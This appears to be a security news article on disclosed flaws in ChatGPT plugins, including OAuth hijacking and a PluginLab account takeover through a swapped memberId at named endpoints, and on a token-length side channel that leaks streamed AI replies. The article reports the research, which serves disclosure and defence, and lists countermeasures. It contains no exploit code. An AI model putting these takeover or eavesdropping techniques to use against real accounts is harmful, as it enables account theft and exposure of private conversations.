Cybersecurity experts have identified potential security risks associated with third-party plugins used in OpenAI’s ChatGPT. These vulnerabilities could potentially provide a new avenue for cybercriminals to gain unauthorized access to confidential data.
Details of the Research
Salt Labs, a renowned cybersecurity research firm, has published a report detailing these security vulnerabilities. The report suggests that these flaws, present in both ChatGPT and its ecosystem, could enable attackers to install harmful plugins without the knowledge or consent of the users, thereby compromising accounts on third-party platforms such as GitHub.
What are ChatGPT Plugins?
ChatGPT plugins are essentially tools that operate on top of the large language model (LLM). They are designed to fetch the most recent information, perform computations, or access services provided by third parties.
OpenAI’s Response
In response to these concerns, OpenAI has introduced bespoke versions of ChatGPT, known as GPTs, which are tailored for specific applications and minimize dependencies on third-party services. As of March 19, 2024, users of ChatGPT will no longer have the ability to install new plugins or initiate new conversations using existing plugins.
Identified Flaws
Salt Labs’ research has uncovered several flaws. One such flaw involves the exploitation of the OAuth workflow. This flaw could deceive a user into installing an arbitrary plugin, given that ChatGPT does not verify whether the user initiated the plugin installation. This loophole could potentially allow cybercriminals to intercept and extract all data shared by the victim, which might include proprietary information.
Another issue identified by Salt Labs pertains to PluginLab. This flaw could be exploited by cybercriminals to execute zero-click account takeover attacks, thereby gaining control of an organization’s account on third-party platforms like GitHub and accessing their source code repositories.
How Does the Attack Work?
Aviad Carmel, a security researcher, explained that the endpoint ‘auth.pluginlab[.]ai/oauth/authorized’ does not authenticate the request. This means that an attacker can insert another memberId (i.e., the victim) and obtain a code that represents the victim. With this code, the attacker can use ChatGPT and access the victim’s GitHub account.
The memberId of the victim can be obtained by querying the endpoint “auth.pluginlab[.]ai/members/requestMagicEmailCode.” As of now, there is no evidence to suggest that any user data has been compromised using this flaw.
Other Discovered Vulnerabilities
Several plugins, including Kesem AI, were found to have an OAuth redirection manipulation bug. This bug could allow an attacker to steal the account credentials associated with the plugin itself by sending a specially crafted link to the victim.
This news follows recent reports by Imperva detailing two cross-site scripting (XSS) vulnerabilities in ChatGPT that could be combined to take over any account.
In December 2023, security researcher Johann Rehberger demonstrated how malicious actors could create custom GPTs that can phish for user credentials and transmit the stolen data to an external server.
New Remote Keylogging Attack on AI Assistants
Recent research has shed light on a novel side-channel attack on Large Language Models (LLMs) that leverages token length to covertly extract encrypted responses from AI Assistants over the web.
How Does the Attack Work?
LLMs generate and transmit responses as a series of tokens, similar to words. Each token is sent from the server to the user as it is generated. This process, although encrypted, exposes a new side-channel: the token-length side-channel. Despite the encryption, the size of the packets can reveal the length of the tokens, potentially enabling attackers on the network to infer sensitive and confidential information shared in private AI assistant conversations.
Token Inference Attack
The attack is executed through a method known as a token inference attack. This method is designed to decode responses in encrypted traffic by training an LLM model capable of translating token-length sequences into their natural language counterparts, i.e., plaintext.
In essence, the primary concept is to intercept the real-time chat responses with an LLM provider, use the network packet headers to infer the length of each token, extract, and parse text segments, and employ the custom LLM to infer the response.
A group of academics from Ben-Gurion University and the Offensive AI Research Lab conducted this research. Their findings highlight the potential security risks associated with using AI assistants and the need for robust security measures to protect sensitive data.
Prerequisites for the Attack
For the attack to be successful, two key conditions must be met. Firstly, an AI chat client must be operating in streaming mode. Secondly, an adversary capable of intercepting network traffic between the client and the AI chatbot must be present.
Countermeasures Against the Attack
Several countermeasures are recommended for companies that develop AI assistants to mitigate the risk of such side-channel attacks. These include applying random padding to mask the actual length of tokens, transmitting tokens in larger batches instead of individually, and sending complete responses at once rather than in a token-by-token manner.
